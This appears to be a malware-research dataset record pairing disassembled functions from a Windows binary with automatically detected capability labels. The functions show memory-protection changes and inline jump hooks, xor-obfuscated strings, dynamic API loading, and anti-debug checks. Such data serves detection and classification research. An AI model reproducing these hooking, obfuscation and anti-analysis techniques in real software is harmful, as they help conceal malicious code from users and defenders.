joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10050ed0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
push 0xff
push 0x1a
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x83ec8b55
push eax
push ecx
mov dword [esp + 0x2c], 0x4d8924ec
mov dword [esp + 0x30], 0xffffffdc
mov dword [esp + 0x34], 0xffffffff
mov dword [esp + 0x38], 0xff01ff83
mov dword [esp + 0x3c], 0xffffffff
mov word [esp + 0x40], 0xc7ff
call fcn.10062960
mov ebx, eax
test ebx, ebx
je 0x1005102d
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0xc]
push eax
push 0x40
lea ecx, [ebx + 0x83]
mov dword [0x101da3bc], ecx
lea esi, [ebx + 0x7c]
push 7
lea ecx, [ebx + 0x98]
push esi
mov dword [0x101da3b4], ecx
call edi
mov eax, 0x10050e20
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, 0x90909090
mov word [esi + 5], ax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 7
push esi
call edi
lea ecx, [ebx + 0x1da]
lea eax, [ebx + 0x1df]
mov dword [0x101da388], ecx
mov dword [0x101da438], eax
lea esi, [ebx + 0x1d6]
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
mov dword [0x101da388], eax
lea eax, [esp + 0xc]
push eax
push 0x40
push 9
push esi
call edi
mov eax, 0x10050e90
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
mov dword [esi + 5], 0x90909090
push 9
push esi
call edi
push 0xff
push 0x11
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0xffffff66
push eax
push ecx
mov dword [esp + 0x2c], 0xff66ffff
mov dword [esp + 0x30], 0xff8b24ff
mov dword [esp + 0x34], 0xffffffff
mov byte [esp + 0x38], 0x51
call fcn.10062960
mov dword [0x101ce6d8], eax
test eax, eax
je 0x10051057
mov eax, dword [eax + 2]
pop edi
pop esi
mov dword [0x101ce6d8], eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, 0xe1
xor eax, eax
mov cl, byte [eax + 0x100abe30]
xor cl, dl
mov byte [esp + eax + 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x1c
jb 0x10051034
mov byte [esp + 0x34], 0
lea eax, [esp + 0x18]
jmp 0x1005106b
mov eax, 0x100abe50
lea ecx, [esp + 0x10]
sub eax, 0x575d72e6
push eax
call fcn.10059400
push eax
push 0
push 0x101ce6e8
call fcn.1005c160
add esp, 0xc
call fcn.10062f90
int3
Function at 0x10054fa0
Capabilities:
Check if file exists
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov dword [ebp - 8], 0
lea eax, [ebp - 0xb]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
mov dword [ebp - 0xb], 0x6e69616d
mov dword [ebp - 7], 0x66772e
call esi
test eax, eax
jne 0x10054fea
mov eax, 0x100ac608
lea ecx, [ebp - 0x15]
sub eax, 0x82e5abe
push eax
call fcn.1005a010
push eax
call esi
test eax, eax
jne 0x10054fea
xor al, al
jmp 0x10054fec
mov al, 1
test al, al
je 0x100550fc
mov edx, 0xd7
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100ac614]
xor al, dl
mov byte [ebp + ecx - 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x10055000
lea eax, [ebp - 0x18]
mov byte [ebp - 0xd], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10055096
mov edx, 0xd7
xor ecx, ecx
mov al, byte [ecx + 0x100ac614]
xor al, dl
mov byte [ebp + ecx - 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x10055031
lea eax, [ebp - 0x18]
mov byte [ebp - 0xd], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], 0
xorps xmm0, xmm0
movq qword [ebp - 0x18], xmm0
test eax, eax
je 0x100550fc
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0x74696e49
push ecx
push eax
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], 0
mov byte [ebp - 4], 0
call eax
pop esi
mov esp, ebp
pop ebp
ret
mov esi, str.idoimfg
lea ecx, [ebp - 0x15]
sub esi, 0x70cc661b
push esi
call fcn.1005a080
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100550fc
push esi
lea ecx, [ebp - 0xc]
call fcn.1005a080
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov byte [ebp - 4], 0
xorps xmm0, xmm0
movq qword [ebp - 0xc], xmm0
test esi, esi
je 0x100550fc
push 0x872a2615
lea ecx, [ebp - 0x16]
call fcn.1005a0f0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 0xe], 0
movq qword [ebp - 0x16], xmm0
call eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10059090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x88
xor eax, eax
mov dl, byte [edi + eax + 0x2bf74a70]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x100590a1
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100590d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1b
xor eax, eax
mov dl, byte [edi + eax - 0x56714f1a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x100590e1
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x5e
xor eax, eax
mov dl, byte [edi + eax - 0x594480ca]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x10059291
pop edi
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100592c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x5e
xor eax, eax
mov dl, byte [edi + eax + 0x4aa5565d]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x15
jb 0x100592d1
pop edi
mov byte [esi + 0x15], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x73
xor eax, eax
mov dl, byte [edi + eax + 0x190307d4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10059391
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100593c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x9a
xor eax, eax
mov dl, byte [edi + eax + 0x6f624503]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x100593d1
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100598d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x7f
xor eax, eax
mov dl, byte [edi + eax - 0x51a3e1b4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x100598e1
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100599a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf3
xor eax, eax
mov dl, byte [edi + eax - 0x2b8b1aec]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xc
jb 0x100599b1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x100599e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xae
xor eax, eax
mov dl, byte [edi + eax - 0x37b821da]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xe
jb 0x100599f1
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059b10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xba
xor eax, eax
mov dl, byte [edi + eax - 0x5fdb605b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10059b21
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xa
xor eax, eax
mov dl, byte [edi + eax - 0x3ea728e1]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10059b61
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059b90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xbe
xor eax, eax
mov dl, byte [edi + eax + 0xa360ed]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059ba1
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059cb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x60
xor eax, eax
mov dl, byte [edi + eax + 0x32828b5]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10059cc1
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xbe
xor eax, eax
mov dl, byte [edi + eax + 0x1851873]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x10059d01
pop edi
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059d30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x2c
xor eax, eax
mov dl, byte [edi + eax - 0x67a7306a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059d41
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059d70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x36
xor eax, eax
mov dl, byte [edi + eax - 0x7bc5d5a6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059d81
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10059db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1b
xor eax, eax
mov dl, byte [edi + eax - 0x3e3f09c3]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059dc1
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x6b
xor eax, eax
mov dl, byte [edi + eax + 0x587e3c1c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059e01
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xda
xor eax, eax
mov dl, byte [edi + eax - 0x1b4e69d6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x10059e41
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059e70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x71
xor eax, eax
mov dl, byte [edi + eax + 0x21968dce]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x37
jb 0x10059e81
pop edi
mov byte [esi + 0x37], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xeb
xor eax, eax
mov dl, byte [edi + eax - 0x4ee80082]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x42
jb 0x10059ec1
pop edi
mov byte [esi + 0x42], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x2b
xor eax, eax
mov dl, byte [edi + eax + 0x442b5ee6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x10059f01
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x1005b570
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10092b9e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], edi
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10068935
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10069985
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 1
mov dword [edi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x1005b628
mov eax, dword [eax]
push 0
push ecx
push eax
mov ecx, edi
call fcn.1005b7f0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x1005bc20
Capabilities:
Link many functions at runtime
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [0x101ce3c0]
xor bl, bl
push edi
cmp esi, dword [0x101ce3c4]
je 0x1005bdf1
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edi, [esi + 8]
mov dword [ebp - 4], edi
nop dword [eax + eax]
cmp byte [esi], 0
jne 0x1005bdbf
cmp byte [0x101d8510], 0
jne 0x1005bd4b
test bl, bl
jne 0x1005bc8c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.1005be00
test al, al
je 0x1005bdf1
mov bl, 1
mov edx, dword [ebp - 0x14]
mov edi, dword [edi - 4]
mov eax, edi
mov ecx, dword [edx + 0x34]
sub eax, ecx
push eax
push ecx
push edx
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
test eax, eax
je 0x1005bdb7
mov ecx, dword [eax + 0x14]
sub ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
push 0
push 0
sub ecx, dword [eax + 0x34]
add ecx, edi
mov edi, dword [ebp - 8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1005bdb7
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x20
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1005bdb7
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x38]
mov edi, 0x1c
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1005bdb7
add ecx, 4
add edx, 4
sub edi, 4
jae 0x1005bd00
mov eax, dword [ebp + 0xc]
movups xmm0, xmmword [esi + 0x28]
push dword [ebp - 0xc]
movups xmmword [eax], xmm0
movups xmm0, xmmword [esi + 0x38]
movups xmmword [eax + 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 8]
call esi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
test bl, bl
jne 0x1005bd75
push str.GetProcInfo
push dword [0x101d8514]
call eax
push dword [ebp + 8]
call eax
call eax
add esp, 4
test al, al
je 0x1005bdf1
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov bl, 1
push str.FindEntryPointInfo
push dword [0x101d8514]
call eax
lea ecx, [ebp - 0x38]
push ecx
push dword [edi - 4]
push dword [ebp + 8]
call eax
call eax
add esp, 0xc
test al, al
je 0x1005bdba
mov ecx, edi
lea edx, [ebp - 0x38]
mov edi, 0x1c
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1005bdb7
add ecx, 4
add edx, 4
sub edi, 4
jae 0x1005bda1
jmp 0x1005bd15
mov edi, dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esi, 0x48
add edi, 0x48
mov dword [ebp - 4], edi
cmp esi, dword [0x101ce3c4]
jne 0x1005bc50
test bl, bl
je 0x1005bdf1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 8]
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1005be00
Capabilities:
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
push 0
push 0
push 3
push 0
push 1
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1005be3c
lea eax, [ebp - 0x34]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x1005be45
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0x14
push esi
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
test esi, esi
jne 0x1005be70
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0x14
push dword [ebp - 0x10]
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
test ecx, ecx
je 0x1005beaf
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x1005bea8
mov edx, dword [ecx + 0x3c]
add edx, ecx
cmp dword [edx], 0x4550
jne 0x1005bea8
mov eax, 0x14c
cmp word [edx + 4], ax
je 0x1005bec5
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop esi
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov eax, dword [ebp + 0x14]
pop esi
pop edi
mov dword [eax], ecx
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov al, 1
mov esp, ebp
pop ebp
ret 0x14

Function at 0x1005c030
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x101ce900]
sub esp, 0x30
test eax, eax
js 0x1005c14c
cmp eax, 1
jge 0x1005c14c
push ebx
push edi
push dword [ebp + 0xc]
imul edi, eax, 0x214
inc eax
push 0x100
mov dword [0x101ce900], eax
add edi, 0x101ce6ec
lea ebx, [edi + 4]
mov dword [edi], 1
push ebx
call fcn.1007bce6
add esp, 0xc
cmp dword [edi], 0
je 0x1005c14a
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xa]
lea esi, [edi + 0x110]
mov dword [edi + 0x104], eax
movzx eax, word [ebp - 0xe]
mov dword [edi + 0x108], eax
movzx eax, word [ebp - 0x10]
mov dword [edi + 0x10c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [edi + 0x104]
mov eax, 0x100ac92c
lea ecx, [ebp - 0x2d]
push dword [edi + 0x108]
sub eax, 0x324561c9
push dword [edi + 0x10c]
push ebx
push eax
call fcn.1005c340
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x210], eax
pop esi
cmp eax, 0xffffffff
jne 0x1005c126
mov dword [edi], 0
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1005c14a
push dword [edi + 0x210]
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1005c160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x834
push esi
push edi
test eax, eax
js 0x1005c333
mov ecx, dword [ebp + 8]
cmp eax, dword [ecx + 0x218]
jge 0x1005c333
imul edi, eax, 0x214
add edi, ecx
cmp dword [edi + 4], 0
je 0x1005c333
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xe]
cmp eax, dword [edi + 0x108]
jne 0x1005c1c9
movzx eax, word [ebp - 0x12]
cmp eax, dword [edi + 0x10c]
jne 0x1005c1c9
movzx eax, word [ebp - 0x14]
cmp eax, dword [edi + 0x110]
je 0x1005c290
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0xe]
lea esi, [edi + 0x114]
mov dword [edi + 0x108], eax
movzx eax, word [ebp - 0x12]
mov dword [edi + 0x10c], eax
movzx eax, word [ebp - 0x14]
mov dword [edi + 0x110], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [edi + 0x108]
lea eax, [edi + 8]
push dword [edi + 0x10c]
lea ecx, [ebp - 0x31]
push dword [edi + 0x110]
push eax
mov eax, 0x100ac92c
sub eax, 0x324561c9
push eax
call fcn.1005c340
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x214], eax
cmp eax, 0xffffffff
jne 0x1005c265
mov dword [edi + 4], 0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1005c290
push dword [edi + 0x214]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0x834]
push 0
push eax
call fcn.10070060
add esp, 0xc
lea eax, [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x834]
push 0x400
push eax
call fcn.1002c380
add esp, 0x14
lea eax, [ebp - 0x434]
push 0x400
push 0
push eax
call fcn.10070060
add esp, 0xc
lea eax, [ebp - 0x834]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
lea eax, [ebp - 0x434]
push str._02d:_02d:_02d__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x434]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1005c310
push 0
lea eax, [ebp + 0xc]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x434]
push eax
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1005c340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x44
xor eax, eax
mov dl, byte [edi + eax + 0x324561c9]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1c
jb 0x1005c351
pop edi
mov byte [esi + 0x1c], 0
mov eax, esi
pop esi
pop ebp
ret 4